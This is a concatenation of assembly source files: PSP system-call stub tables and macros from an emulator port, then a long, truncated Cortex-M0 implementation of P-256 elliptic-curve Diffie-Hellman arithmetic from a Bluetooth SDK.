STUB_FUNC 0x75ecd386,sceNetAdhocctlGetState STUB_FUNC 0x362cbe8f,sceNetAdhocctlGetAdhocId STUB_FUNC 0xe162cb14,sceNetAdhocctlGetPeerList STUB_FUNC 0x99560abe,sceNetAdhocctlGetAddrByName STUB_FUNC 0x8916c003,sceNetAdhocctlGetNameByAddr STUB_FUNC 0xded9d28e,sceNetAdhocctlGetParameter STUB_FUNC 0x81aee1be,sceNetAdhocctlGetScanInfo STUB_FUNC 0xa5c055ce,sceNetAdhocctlCreateEnterGameMode STUB_FUNC 0x1ff89745,sceNetAdhocctlJoinEnterGameMode STUB_FUNC 0xcf8e084d,sceNetAdhocctlExitGameMode STUB_FUNC 0x5a014ce0,sceNetAdhocctlGetGameModeInfo STUB_END STUB_START "sceNetAdhocMatching",0x90000,0x000c0005 STUB_FUNC 0x2a2a1e07,sceNetAdhocMatchingInit STUB_FUNC 0x7945ecda,sceNetAdhocMatchingTerm STUB_FUNC 0xca5eda6f,sceNetAdhocMatchingCreate STUB_FUNC 0x93ef3843,sceNetAdhocMatchingStart STUB_FUNC 0x32b156b3,sceNetAdhocMatchingStop STUB_FUNC 0xf16eaf4f,sceNetAdhocMatchingDelete STUB_FUNC 0x5e3d4b79,sceNetAdhocMatchingSelectTarget STUB_FUNC 0xea3c6108,sceNetAdhocMatchingCancelTarget STUB_FUNC 0xb58e61b7,sceNetAdhocMatchingSetHelloOpt STUB_FUNC 0xb5d96c2a,sceNetAdhocMatchingGetHelloOpt STUB_FUNC 0xc58bcd9e,sceNetAdhocMatchingGetMembers STUB_FUNC 0x40f8f435,sceNetAdhocMatchingGetPoolMaxAlloc STUB_END STUB_START "sceNetApctl",0x90000,0x00080005 STUB_FUNC 0xe2f91f9b,sceNetApctlInit STUB_FUNC 0xb3edd0ec,sceNetApctlTerm STUB_FUNC 0x2befdf23,sceNetApctlGetInfo STUB_FUNC 0x8abadd51,sceNetApctlAddHandler STUB_FUNC 0x5963991b,sceNetApctlDelHandler STUB_FUNC 0xcfb957c6,sceNetApctlConnect STUB_FUNC 0x24fe91a1,sceNetApctlDisconnect STUB_FUNC 0x5deac81b,sceNetApctlGetState STUB_END STUB_START "sceLCDC_Driver",0x90000,0x00060005 STUB_FUNC 0xb55500a3,sceLcdcInit STUB_FUNC 0xdcd51769,sceLcdcEnd STUB_FUNC 0xa0032c3d,sceLcdcSuspend STUB_FUNC 0xc6f10c77,sceLcdcResume STUB_FUNC 0xa182b32c,sceLcdcEnable STUB_FUNC 0xa0032c3d,sceLcdcDisable STUB_END

173210/snes9xTYL

1,061

psp/adhoc/common.s

# REVIEW: should be in the standard includes .macro STUB_START module,d1,d2 .section .rodata.stubmodulename,"a" .word 0 __stub_modulestr_\module: .asciz "\module" .align 2 .section .lib.stub,"wa",@progbits .word __stub_modulestr_\module .word \d1 .word \d2 .word __stub_idtable_\module .word __stub_text_\module .section .rodata.stubidtable,"a" __stub_idtable_\module: .section .text.stub,"a",@progbits __stub_text_\module: .endm .macro STUB_END .endm .macro STUB_FUNC funcid,funcname .set push .set noreorder .section .text.stub .weak \funcname \funcname: jr $ra nop .section .rodata.stubidtable .word \funcid .set pop .endm

17HXX/BLE5_ST17H66

45,709

ST17H66_SDK_3.0.9/components/libraries/secure/asm_ecdh_p256/P256-cortex-m0-ecdh-keil.s

; P-256 ECDH ; Author: Emil Lenngren ; Licensed under the BSD 2-clause license. ; The 256x256->512 multiplication/square code is based on public domain NaCl by Ana Helena Snchez and Bjrn Haase (https://munacl.cryptojedi.org/curve25519-cortexm0.shtml) ; Note on calling conventions: some of the local functions in this file use custom calling conventions. ; Exported symbols use the standard C calling conventions for ARM, which means that r4-r11 and sp are preserved and the other registers are clobbered. ; Stack usage is 1356 bytes. ; Settings below for optimizing for speed vs size. ; When optimizing fully for speed, the run time is 4 456 738 cycles and code size is 3708 bytes. ; When optimizing fully for size, the run time is 5 764 182 cycles and code size is 2416 bytes. ; Get the time taken (in seconds) by dividing the number of cycles with the clock frequency (Hz) of the cpu. ; Different optimization levels can be done by setting some to 1 and some to 0. ; Optimizing all settings for size except use_mul_for_sqr and use_smaller_modinv gives a run time of 4 851 527 cycles and code size is 2968 bytes. gbla use_mul_for_sqr use_mul_for_sqr seta 0 ; 1 to enable, 0 to disable (14% slower if enabled but saves 624/460 bytes (depending on use_noninlined_sqr64) of compiled code size) gbla use_noninlined_mul64 use_noninlined_mul64 seta 1 ; 1 to enable, 0 to disable (2.6%/4.0% slower (depending on use_mul_for_sqr) if enabled but saves 308 bytes of compiled code size) gbla use_noninlined_sqr64 use_noninlined_sqr64 seta 1 ; 1 to enable, 0 to disable (2.4% slower if enabled and use_mul_for_sqr=0 but saves 164 bytes of compiled code size) gbla use_interpreter use_interpreter seta 1 ; 1 to enable, 0 to disable (3.6% slower if enabled but saves 268 bytes of compiled code size) gbla use_smaller_modinv use_smaller_modinv seta 0 ; 1 to enable, 0 to disable (3.6% slower if enabled but saves 88 bytes of compiled code size) area |.text|,code,readonly align 2 if use_noninlined_mul64 == 1 ; in: (r4,r5) = a[0..1], (r2,r3) = b[0..1] ; out: r0-r3 ; clobbers r4-r9 and lr P256_mul64 proc mov r6,r5 mov r1,r2 subs r5,r4 sbcs r0,r0 eors r5,r0 subs r5,r0 subs r1,r3 sbcs r7,r7 eors r1,r7 subs r1,r7 eors r7,r0 mov r9,r1 mov r8,r5 lsrs r1,r4,#16 uxth r4,r4 mov r0,r4 uxth r5,r2 lsrs r2,#16 muls r0,r5,r0;//00 muls r5,r1,r5;//10 muls r4,r2,r4;//01 muls r1,r2,r1;//11 lsls r2,r4,#16 lsrs r4,r4,#16 adds r0,r2 adcs r1,r4 lsls r2,r5,#16 lsrs r4,r5,#16 adds r0,r2 adcs r1,r4 lsrs r4,r6,#16 uxth r6,r6 uxth r5,r3 lsrs r3,r3,#16 mov r2,r6 muls r2,r5,r2 muls r5,r4,r5 muls r6,r3,r6 muls r3,r4,r3 lsls r4,r5,#16 lsrs r5,r5,#16 adds r2,r4 adcs r3,r5 lsls r4,r6,#16 lsrs r5,r6,#16 adds r2,r4 adcs r3,r5 eors r6,r6 adds r2,r1 adcs r3,r6 mov r1,r9 mov r5,r8 mov r8,r0 lsrs r0,r1,#16 uxth r1,r1 mov r4,r1 lsrs r6,r5,#16 uxth r5,r5 muls r1,r5,r1 muls r4,r6,r4 muls r5,r0,r5 muls r0,r6,r0 lsls r6,r4,#16 lsrs r4,#16 adds r1,r6 adcs r0,r4 lsls r6,r5,#16 lsrs r5,#16 adds r1,r6 adcs r0,r5 eors r1,r7 eors r0,r7 eors r4,r4 asrs r7,r7,#1 adcs r1,r2 adcs r2,r0 adcs r7,r4 mov r0,r8 adds r1,r0 adcs r2,r3 adcs r3,r7 bx lr endp endif ; in: *r10 = a, *r11 = b, (r4,r5) = a[0..1], (r2,r3) = b[0..1] ; out: r8,r9,r2-r7 ; clobbers all other registers P256_mul128 proc if use_noninlined_mul64 == 1 push {lr} frame push {lr} endif ;///////MUL128///////////// ;MUL64 if use_noninlined_mul64 == 0 mov r6,r5 mov r1,r2 subs r5,r4 sbcs r0,r0 eors r5,r0 subs r5,r0 subs r1,r3 sbcs r7,r7 eors r1,r7 subs r1,r7 eors r7,r0 mov r9,r1 mov r8,r5 lsrs r1,r4,#16 uxth r4,r4 mov r0,r4 uxth r5,r2 lsrs r2,#16 muls r0,r5,r0;//00 muls r5,r1,r5;//10 muls r4,r2,r4;//01 muls r1,r2,r1;//11 lsls r2,r4,#16 lsrs r4,r4,#16 adds r0,r2 adcs r1,r4 lsls r2,r5,#16 lsrs r4,r5,#16 adds r0,r2 adcs r1,r4 lsrs r4,r6,#16 uxth r6,r6 uxth r5,r3 lsrs r3,r3,#16 mov r2,r6 muls r2,r5,r2 muls r5,r4,r5 muls r6,r3,r6 muls r3,r4,r3 lsls r4,r5,#16 lsrs r5,r5,#16 adds r2,r4 adcs r3,r5 lsls r4,r6,#16 lsrs r5,r6,#16 adds r2,r4 adcs r3,r5 eors r6,r6 adds r2,r1 adcs r3,r6 mov r1,r9 mov r5,r8 mov r8,r0 lsrs r0,r1,#16 uxth r1,r1 mov r4,r1 lsrs r6,r5,#16 uxth r5,r5 muls r1,r5,r1 muls r4,r6,r4 muls r5,r0,r5 muls r0,r6,r0 lsls r6,r4,#16 lsrs r4,#16 adds r1,r6 adcs r0,r4 lsls r6,r5,#16 lsrs r5,#16 adds r1,r6 adcs r0,r5 eors r1,r7 eors r0,r7 eors r4,r4 asrs r7,r7,#1 adcs r1,r2 adcs r2,r0 adcs r7,r4 mov r0,r8 adds r1,r0 adcs r2,r3 adcs r3,r7 else bl P256_mul64 endif push {r0,r1} frame address sp,8+use_noninlined_mul64*4 mov r1,r10 mov r10,r2 ldm r1,{r0,r1,r4,r5} mov r2,r4 mov r7,r5 subs r2,r0 sbcs r7,r1 sbcs r6,r6 eors r2,r6 eors r7,r6 subs r2,r6 sbcs r7,r6 push {r2,r7} frame address sp,16+use_noninlined_mul64*4 mov r2,r11 mov r11,r3 ldm r2,{r0,r1,r2,r3} subs r0,r2 sbcs r1,r3 sbcs r7,r7 eors r0,r7 eors r1,r7 subs r0,r7 sbcs r1,r7 eors r7,r6 mov r12,r7 push {r0,r1} frame address sp,24+use_noninlined_mul64*4 ;MUL64 if use_noninlined_mul64 == 0 mov r6,r5 mov r1,r2 subs r5,r4 sbcs r0,r0 eors r5,r0 subs r5,r0 subs r1,r3 sbcs r7,r7 eors r1,r7 subs r1,r7 eors r7,r0 mov r9,r1 mov r8,r5 lsrs r1,r4,#16 uxth r4,r4 mov r0,r4 uxth r5,r2 lsrs r2,#16 muls r0,r5,r0;//00 muls r5,r1,r5;//10 muls r4,r2,r4;//01 muls r1,r2,r1;//11 lsls r2,r4,#16 lsrs r4,r4,#16 adds r0,r2 adcs r1,r4 lsls r2,r5,#16 lsrs r4,r5,#16 adds r0,r2 adcs r1,r4 lsrs r4,r6,#16 uxth r6,r6 uxth r5,r3 lsrs r3,r3,#16 mov r2,r6 muls r2,r5,r2 muls r5,r4,r5 muls r6,r3,r6 muls r3,r4,r3 lsls r4,r5,#16 lsrs r5,r5,#16 adds r2,r4 adcs r3,r5 lsls r4,r6,#16 lsrs r5,r6,#16 adds r2,r4 adcs r3,r5 eors r6,r6 adds r2,r1 adcs r3,r6 mov r1,r9 mov r5,r8 mov r8,r0 lsrs r0,r1,#16 uxth r1,r1 mov r4,r1 lsrs r6,r5,#16 uxth r5,r5 muls r1,r5,r1 muls r4,r6,r4 muls r5,r0,r5 muls r0,r6,r0 lsls r6,r4,#16 lsrs r4,#16 adds r1,r6 adcs r0,r4 lsls r6,r5,#16 lsrs r5,#16 adds r1,r6 adcs r0,r5 eors r1,r7 eors r0,r7 eors r4,r4 asrs r7,r7,#1 adcs r1,r2 adcs r2,r0 adcs r7,r4 mov r0,r8 adds r1,r0 adcs r2,r3 adcs r3,r7 else bl P256_mul64 endif mov r4,r10 mov r5,r11 eors r6,r6 adds r0,r4 adcs r1,r5 adcs r2,r6 adcs r3,r6 mov r10,r2 mov r11,r3 pop {r2-r5} frame address sp,8+use_noninlined_mul64*4 push {r0,r1} frame address sp,16+use_noninlined_mul64*4 if use_noninlined_mul64 == 0 mov r6,r5 mov r1,r2 subs r5,r4 sbcs r0,r0 eors r5,r0 subs r5,r0 subs r1,r3 sbcs r7,r7 eors r1,r7 subs r1,r7 eors r7,r0 mov r9,r1 mov r8,r5 lsrs r1,r4,#16 uxth r4,r4 mov r0,r4 uxth r5,r2 lsrs r2,#16 muls r0,r5,r0;//00 muls r5,r1,r5;//10 muls r4,r2,r4;//01 muls r1,r2,r1;//11 lsls r2,r4,#16 lsrs r4,r4,#16 adds r0,r2 adcs r1,r4 lsls r2,r5,#16 lsrs r4,r5,#16 adds r0,r2 adcs r1,r4 lsrs r4,r6,#16 uxth r6,r6 uxth r5,r3 lsrs r3,r3,#16 mov r2,r6 muls r2,r5,r2 muls r5,r4,r5 muls r6,r3,r6 muls r3,r4,r3 lsls r4,r5,#16 lsrs r5,r5,#16 adds r2,r4 adcs r3,r5 lsls r4,r6,#16 lsrs r5,r6,#16 adds r2,r4 adcs r3,r5 eors r6,r6 adds r2,r1 adcs r3,r6 mov r1,r9 mov r5,r8 mov r8,r0 lsrs r0,r1,#16 uxth r1,r1 mov r4,r1 lsrs r6,r5,#16 uxth r5,r5 muls r1,r5,r1 muls r4,r6,r4 muls r5,r0,r5 muls r0,r6,r0 lsls r6,r4,#16 lsrs r4,#16 adds r1,r6 adcs r0,r4 lsls r6,r5,#16 lsrs r5,#16 adds r1,r6 adcs r0,r5 eors r1,r7 eors r0,r7 eors r4,r4 asrs r7,r7,#1 adcs r1,r2 adcs r2,r0 adcs r7,r4 mov r0,r8 adds r1,r0 adcs r2,r3 adcs r3,r7 else bl P256_mul64 endif pop {r4,r5} frame address sp,8+use_noninlined_mul64*4 mov r6,r12 mov r7,r12 eors r0,r6 eors r1,r6 eors r2,r6 eors r3,r6 asrs r6,r6,#1 adcs r0,r4 adcs r1,r5 adcs r4,r2 adcs r5,r3 eors r2,r2 adcs r6,r2 ;//0,1 adcs r7,r2 pop {r2,r3} frame address sp,0+use_noninlined_mul64*4 mov r8,r2 mov r9,r3 adds r2,r0 adcs r3,r1 mov r0,r10 mov r1,r11 adcs r4,r0 adcs r5,r1 adcs r6,r0 adcs r7,r1 if use_noninlined_mul64 == 1 pop {pc} else bx lr endif endp if use_mul_for_sqr == 1 ;thumb_func P256_sqrmod ;label definition mov r2,r1 ; fallthrough endif ; *r0 = out, *r1 = a, *r2 = b P256_mulmod proc push {r0,lr} frame push {lr} frame address sp,8 sub sp,#64 frame address sp,72 push {r1-r2} frame address sp,80 mov r10,r2 mov r11,r1 mov r0,r2 ldm r0!,{r4,r5} adds r0,#8 ldm r1!,{r2,r3} adds r1,#8 push {r0,r1} frame address sp,88 bl P256_mul128 add r0,sp,#24 stm r0!,{r2,r3} add r0,sp,#16 mov r2,r8 mov r3,r9 stm r0!,{r2,r3} ;pop {r0} ;result+8 ;stm r0!,{r2,r3} pop {r1,r2} ;a+16 b+16 frame address sp,80 ;push {r0} push {r4-r7} frame address sp,96 mov r10,r1 mov r11,r2 ldm r1!,{r4,r5} ldm r2,{r2,r3} bl P256_mul128 mov r0,r8 mov r1,r9 mov r8,r6 mov r9,r7 pop {r6,r7} frame address sp,88 adds r0,r6 adcs r1,r7 pop {r6,r7} frame address sp,80 adcs r2,r6 adcs r3,r7 ;pop {r7} ;result+16 add r7,sp,#24 stm r7!,{r0-r3} mov r10,r7 eors r0,r0 mov r6,r8 mov r7,r9 adcs r4,r0 adcs r5,r0 adcs r6,r0 adcs r7,r0 pop {r1,r2} ;b a frame address sp,72 mov r12,r2 push {r4-r7} frame address sp,88 ldm r1,{r0-r7} subs r0,r4 sbcs r1,r5 sbcs r2,r6 sbcs r3,r7 eors r4,r4 sbcs r4,r4 eors r0,r4 eors r1,r4 eors r2,r4 eors r3,r4 subs r0,r4 sbcs r1,r4 sbcs r2,r4 sbcs r3,r4 mov r6,r12 mov r12,r4 ;//carry mov r5,r10 stm r5!,{r0-r3} mov r11,r5 mov r8,r0 mov r9,r1 ldm r6,{r0-r7} subs r4,r0 sbcs r5,r1 sbcs r6,r2 sbcs r7,r3 eors r0,r0 sbcs r0,r0 eors r4,r0 eors r5,r0 eors r6,r0 eors r7,r0 subs r4,r0 sbcs r5,r0 sbcs r6,r0 sbcs r7,r0 mov r1,r12 eors r0,r1 mov r1,r11 stm r1!,{r4-r7} push {r0} frame address sp,92 mov r2,r8 mov r3,r9 bl P256_mul128 pop {r0} ;//r0,r1 frame address sp,88 mov r12,r0 ;//negative eors r2,r0 eors r3,r0 eors r4,r0 eors r5,r0 eors r6,r0 eors r7,r0 push {r4-r7} frame address sp,104 add r1,sp,#32 ;result ldm r1!,{r4-r7} ;mov r11,r1 ;//reference mov r1,r9 eors r1,r0 mov r10,r4 mov r4,r8 asrs r0,#1 eors r0,r4 mov r4,r10 adcs r0,r4 adcs r1,r5 adcs r2,r6 adcs r3,r7 eors r4,r4 adcs r4,r4 mov r10,r4 ;//carry ;mov r4,r11 add r4,sp,#32+16 ldm r4,{r4-r7} adds r0,r4 adcs r1,r5 adcs r2,r6 adcs r3,r7 mov r9,r4 ;mov r4,r11 add r4,sp,#32+16 stm r4!,{r0-r3} ;mov r11,r4 pop {r0-r3} frame address sp,88 mov r4,r9 adcs r4,r0 adcs r5,r1 adcs r6,r2 adcs r7,r3 movs r1,#0 adcs r1,r1 mov r0,r10 mov r10,r1 ;//carry asrs r0,#1 pop {r0-r3} frame address sp,72 adcs r4,r0 adcs r5,r1 adcs r6,r2 adcs r7,r3 mov r8,r0 ;mov r0,r11 add r0,sp,#32 stm r0!,{r4-r7} ;mov r11,r0 mov r0,r8 mov r6,r12 mov r5,r10 eors r4,r4 adcs r5,r6 adcs r6,r4 adds r0,r5 adcs r1,r6 adcs r2,r6 adcs r3,r6 ;mov r7,r11 add r7,sp,#32+16 stm r7!,{r0-r3} ; multiplication done, now reducing reduce ;label definition pop {r0-r7} frame address sp,40 adds r3,r0 adcs r4,r1 adcs r5,r2 adcs r6,r0 mov r8,r2 mov r9,r3 mov r10,r4 mov r11,r5 mov r12,r6 adcs r7,r1 pop {r2-r5} ;8,9,10,11 frame address sp,24 adcs r2,r0 ;8+0 adcs r3,r1 ;9+1 movs r6,#0 adcs r4,r6 ;10+#0 adcs r5,r6 ;11+#0 adcs r6,r6 ;C subs r7,r0 ;7-0 sbcs r2,r1 ;8-1 ; r0,r1 dead mov r0,r8 ;2 mov r1,r9 ;3 sbcs r3,r0 ;9-2 sbcs r4,r1 ;10-3 movs r0,#0 sbcs r5,r0 ;11-#0 sbcs r6,r0 ;C-#0 mov r0,r12 ;6 adds r0,r1 ;6+3 mov r12,r0 mov r0,r10 ;4 adcs r7,r0 ;7+4 mov lr,r7 mov r0,r8 ;2 adcs r2,r0 ;8+2 adcs r3,r1 ;9+3 adcs r4,r0 ;10+2 adcs r5,r1 ;11+3 movs r7,#0 adcs r6,r7 ;C+#0 ;2-3 are now dead (r8,r9) ;4 5 6 7 8 9 10 11 C ;r10 r11 r12 lr r2 r3 r4 r5 r6 ;r7: 0 pop {r0,r1} ;12,13 frame address sp,16 adds r6,r0 ;12+C adcs r1,r7 ;13+#0 adcs r7,r7 ;new Carry for 14 ;r0 dead mov r0,r11 ;5 adds r2,r0 ;8+5 mov r8,r2 mov r2,r12 ;6 adcs r3,r2 ;9+6 mov r9,r3 mov r3,r10 ;4 adcs r4,r3 ;10+4 mov r10,r4 adcs r5,r0 ;11+5 adcs r6,r3 ;12+4 adcs r1,r0 ;13+5 pop {r2,r4} ;14,15 frame address sp,8 adcs r2,r7 ;14+C movs r7,#0 adcs r4,r7 ;15+#0 adcs r7,r7 ;new Carry for 16 ;4 5 6 7 8 9 10 11 12 13 14 15 C ;r3 r0 r12 lr r8 r9 r10 r5 r6 r1 r2 r4 r7 ;r11 is available subs r5,r3 ;11-4 sbcs r6,r0 ;12-5 mov r3,r12 ;6 mov r0,lr ;7 sbcs r1,r3 ;13-6 sbcs r2,r0 ;14-7 movs r3,#0 sbcs r4,r3 ;15-#0 sbcs r7,r3 ;C-#0 mov lr,r4 mov r11,r7 mov r4,r10 ;10 adds r4,r0 ;10+7 adcs r5,r3 ;11+#0 mov r7,r12 ;6 adcs r6,r7 ;12+6 adcs r1,r0 ;13+7 adcs r2,r7 ;14+6 mov r7,lr ;15 adcs r7,r0 ;15+7 mov r0,r11 ;C adcs r0,r3 ;C+#0 ; now (T + mN) / R is ; 8 9 4 5 6 1 2 7 6 (lsb -> msb) subs r3,r3 ;set r3 to 0 and C to 1 mov r10,r0 mov r0,r8 adcs r0,r3 mov r11,r7 mov r7,r9 adcs r7,r3 mov r12,r0 mov r9,r7 adcs r4,r3 sbcs r5,r3 sbcs r6,r3 sbcs r1,r3 movs r3,#1 sbcs r2,r3 movs r3,#0 mov r0,r11 mov r7,r10 adcs r0,r3 sbcs r7,r3 ; r12 r9 r4 r5 | r6 r1 r2 r0 mov r8,r2 mov r2,r12 mov r11,r0 mov r3,r9 reduce2 ;label definition adds r2,r7 adcs r3,r7 adcs r4,r7 movs r0,#0 adcs r5,r0 adcs r6,r0 adcs r1,r0 pop {r0} frame address sp,4 stm r0!,{r2-r6} movs r5,#1 ands r5,r7 mov r2,r8 mov r3,r11 adcs r2,r5 adcs r3,r7 stm r0!,{r1-r3} pop {pc} endp if use_mul_for_sqr == 0 if use_noninlined_sqr64 == 1 P256_sqr64 proc ; START: sqr 64 Refined Karatsuba ; Input operands in r4,r5 ; Result in r0,r1,r2,r3 ; Clobbers: r4-r6 ; START: sqr 32 ; Input operand in r4 ; Result in r0 ,r1 ; Clobbers: r2, r3 uxth r0,r4 lsrs r1,r4,#16 mov r2,r0 muls r2,r1,r2 muls r0,r0,r0 muls r1,r1,r1 lsrs r3,r2,#15 lsls r2,r2,#17 adds r0,r2 adcs r1,r3 ; End: sqr 32 ; Result in r0 ,r1 subs r4,r5 sbcs r6,r6 eors r4,r6 subs r4,r6 ; START: sqr 32 ; Input operand in r5 ; Result in r2 ,r3 ; Clobbers: r5, r6 uxth r2,r5 lsrs r3,r5,#16 mov r5,r2 muls r5,r3,r5 muls r2,r2,r2 muls r3,r3,r3 lsrs r6,r5,#15 lsls r5,r5,#17 adds r2,r5 adcs r3,r6 ; End: sqr 32 ; Result in r2 ,r3 movs r6,#0 adds r2,r1 adcs r3,r6 ; START: sqr 32 ; Input operand in r4 ; Result in r4 ,r5 ; Clobbers: r1, r6 lsrs r5,r4,#16 uxth r4,r4 mov r1,r4 muls r1,r5,r1 muls r4,r4,r4 muls r5,r5,r5 lsrs r6,r1,#15 lsls r1,r1,#17 adds r4,r1 adcs r5,r6 ; End: sqr 32 ; Result in r4 ,r5 mov r1,r2 subs r1,r4 sbcs r2,r5 mov r5,r3 movs r6,#0 sbcs r3,r6 adds r1,r0 adcs r2,r5 adcs r3,r6 ; END: sqr 64 Refined Karatsuba ; Result in r0,r1,r2,r3 ; Leaves r6 zero. bx lr endp P256_sqr128 proc push {lr} frame push {lr} ; sqr 128 Refined Karatsuba ; Input in r4 ... r7 ; Result in r0 ... r7 ; clobbers all registers mov r0,r4 mov r1,r5 subs r0,r6 sbcs r1,r7 sbcs r2,r2 eors r0,r2 eors r1,r2 subs r0,r2 sbcs r1,r2 mov r8,r0 mov r9,r1 mov r10,r6 bl P256_sqr64 mov r4,r10 mov r5,r7 mov r10,r0 mov r11,r1 mov r12,r2 mov r7,r3 bl P256_sqr64 mov r4,r12 adds r0,r4 adcs r1,r7 adcs r2,r6 adcs r3,r6 mov r7,r3 mov r12,r0 mov r4,r8 mov r8,r1 mov r5,r9 mov r9,r2 bl P256_sqr64 mov r4,r12 mov r5,r8 mov r6,r9 subs r4,r0 sbcs r5,r1 mov r0,r6 mov r1,r7 sbcs r0,r2 sbcs r1,r3 movs r2,#0 sbcs r6,r2 sbcs r7,r2 mov r2,r10 adds r2,r4 mov r3,r11 adcs r3,r5 mov r4,r12 adcs r4,r0 mov r5,r8 adcs r5,r1 movs r0,#0 adcs r6,r0 adcs r7,r0 mov r0,r10 mov r1,r11 ; END: sqr 128 Refined Karatsuba pop {pc} endp else P256_sqr128 proc ; sqr 128 Refined Karatsuba ; Input in r4 ... r7 ; Result in r0 ... r7 ; clobbers all registers mov r0,r4 mov r1,r5 subs r0,r6 sbcs r1,r7 sbcs r2,r2 eors r0,r2 eors r1,r2 subs r0,r2 sbcs r1,r2 mov r8,r0 mov r9,r1 mov r10,r6 ; START: sqr 64 Refined Karatsuba ; Input operands in r4,r5 ; Result in r0,r1,r2,r3 ; Clobbers: r4-r6 ; START: sqr 32 ; Input operand in r4 ; Result in r0 ,r1 ; Clobbers: r2, r3 uxth r0,r4 lsrs r1,r4,#16 mov r2,r0 muls r2,r1,r2 muls r0,r0,r0 muls r1,r1,r1 lsrs r3,r2,#15 lsls r2,r2,#17 adds r0,r2 adcs r1,r3 ; End: sqr 32 ; Result in r0 ,r1 subs r4,r5 sbcs r6,r6 eors r4,r6 subs r4,r6 ; START: sqr 32 ; Input operand in r5 ; Result in r2 ,r3 ; Clobbers: r5, r6 uxth r2,r5 lsrs r3,r5,#16 mov r5,r2 muls r5,r3,r5 muls r2,r2,r2 muls r3,r3,r3 lsrs r6,r5,#15 lsls r5,r5,#17 adds r2,r5 adcs r3,r6 ; End: sqr 32 ; Result in r2 ,r3 movs r6,#0 adds r2,r1 adcs r3,r6 ; START: sqr 32 ; Input operand in r4 ; Result in r4 ,r5 ; Clobbers: r1, r6 lsrs r5,r4,#16 uxth r4,r4 mov r1,r4 muls r1,r5,r1 muls r4,r4,r4 muls r5,r5,r5 lsrs r6,r1,#15 lsls r1,r1,#17 adds r4,r1 adcs r5,r6 ; End: sqr 32 ; Result in r4 ,r5 mov r1,r2 subs r1,r4 sbcs r2,r5 mov r5,r3 movs r6,#0 sbcs r3,r6 adds r1,r0 adcs r2,r5 adcs r3,r6 ; END: sqr 64 Refined Karatsuba ; Result in r0,r1,r2,r3 ; Leaves r6 zero. mov r6,r10 mov r10,r0 mov r11,r1 mov r12,r2 mov r1,r3 ; START: sqr 64 Refined Karatsuba ; Input operands in r6,r7 ; Result in r2,r3,r4,r5 ; Clobbers: r0,r7,r6 ; START: sqr 32 ; Input operand in r6 ; Result in r2 ,r3 ; Clobbers: r4, r5 uxth r2,r6 lsrs r3,r6,#16 mov r4,r2 muls r4,r3,r4 muls r2,r2,r2 muls r3,r3,r3 lsrs r5,r4,#15 lsls r4,r4,#17 adds r2,r4 adcs r3,r5 ; End: sqr 32 ; Result in r2 ,r3 subs r6,r7 sbcs r4,r4 eors r6,r4 subs r6,r4 ; START: sqr 32 ; Input operand in r7 ; Result in r4 ,r5 ; Clobbers: r0, r7 uxth r4,r7 lsrs r5,r7,#16 mov r0,r4 muls r0,r5,r0 muls r4,r4,r4 muls r5,r5,r5 lsrs r7,r0,#15 lsls r0,r0,#17 adds r4,r0 adcs r5,r7 ; End: sqr 32 ; Result in r4 ,r5 movs r7,#0 adds r4,r3 adcs r5,r7 ; START: sqr 32 ; Input operand in r6 ; Result in r7 ,r0 ; Clobbers: r6, r3 uxth r7,r6 lsrs r0,r6,#16 mov r6,r7 muls r6,r0,r6 muls r7,r7,r7 muls r0,r0,r0 lsrs r3,r6,#15 lsls r6,r6,#17 adds r7,r6 adcs r0,r3 ; End: sqr 32 ; Result in r7 ,r0 mov r3,r4 subs r3,r7 sbcs r4,r0 mov r0,r5 movs r6,#0 sbcs r5,r6 adds r3,r2 adcs r4,r0 adcs r5,r6 ; END: sqr 64 Refined Karatsuba ; Result in r2,r3,r4,r5 ; Leaves r6 zero. mov r0,r12 adds r2,r0 adcs r3,r1 adcs r4,r6 adcs r5,r6 mov r12,r2 mov r2,r8 mov r8,r3 mov r3,r9 mov r9,r4 ; START: sqr 64 Refined Karatsuba ; Input operands in r2,r3 ; Result in r6,r7,r0,r1 ; Clobbers: r2,r3,r4 ; START: sqr 32 ; Input operand in r2 ; Result in r6 ,r7 ; Clobbers: r0, r1 uxth r6,r2 lsrs r7,r2,#16 mov r0,r6 muls r0,r7,r0 muls r6,r6,r6 muls r7,r7,r7 lsrs r1,r0,#15 lsls r0,r0,#17 adds r6,r0 adcs r7,r1 ; End: sqr 32 ; Result in r6 ,r7 subs r2,r3 sbcs r4,r4 eors r2,r4 subs r2,r4 ; START: sqr 32 ; Input operand in r3 ; Result in r0 ,r1 ; Clobbers: r3, r4 uxth r0,r3 lsrs r1,r3,#16 mov r3,r0 muls r3,r1,r3 muls r0,r0,r0 muls r1,r1,r1 lsrs r4,r3,#15 lsls r3,r3,#17 adds r0,r3 adcs r1,r4 ; End: sqr 32 ; Result in r0 ,r1 movs r4,#0 adds r0,r7 adcs r1,r4 ; START: sqr 32 ; Input operand in r2 ; Result in r3 ,r4 ; Clobbers: r2, r7 uxth r3,r2 lsrs r4,r2,#16 mov r2,r3 muls r2,r4,r2 muls r3,r3,r3 muls r4,r4,r4 lsrs r7,r2,#15 lsls r2,r2,#17 adds r3,r2 adcs r4,r7 ; End: sqr 32 ; Result in r3 ,r4 mov r7,r0 subs r7,r3 sbcs r0,r4 mov r2,r1 movs r4,#0 sbcs r1,r4 adds r7,r6 adcs r0,r2 adcs r1,r4 ; END: sqr 64 Refined Karatsuba ; Result in r6,r7,r0,r1 ; Returns r4 as zero. mov r2,r12 mov r3,r8 mov r4,r9 subs r2,r6 sbcs r3,r7 mov r6,r4 mov r7,r5 sbcs r4,r0 sbcs r5,r1 movs r0,#0 sbcs r6,r0 sbcs r7,r0 mov r0,r10 adds r2,r0 mov r1,r11 adcs r3,r1 mov r0,r12 adcs r4,r0 mov r0,r8 adcs r5,r0 movs r0,#0 adcs r6,r0 adcs r7,r0 mov r0,r10 ; END: sqr 128 Refined Karatsuba ; Result in r0 ... r7 bx lr endp endif ; ###################### ; ASM Square 256 refined karatsuba: ; ###################### ; sqr 256 Refined Karatsuba ; pInput in r1 ; pResult in r0 P256_sqrmod proc push {r0,lr} frame push {lr} frame address sp,8 sub sp,#64 frame address sp,72 ;mov lr,sp push {r1} frame address sp,76 ldm r1!,{r4,r5,r6,r7} bl P256_sqr128 push {r4,r5,r6,r7} frame address sp,92 ;mov r4,lr add r4,sp,#20 stm r4!,{r0,r1,r2,r3} ldr r4,[sp,#16] adds r4,#16 ldm r4,{r4,r5,r6,r7} bl P256_sqr128 mov r8,r4 mov r9,r5 mov r10,r6 mov r11,r7 pop {r4,r5,r6,r7} frame address sp,76 adds r0,r4 adcs r1,r5 adcs r2,r6 adcs r3,r7 mov r4,r8 mov r5,r9 mov r6,r10 mov r7,r11 mov 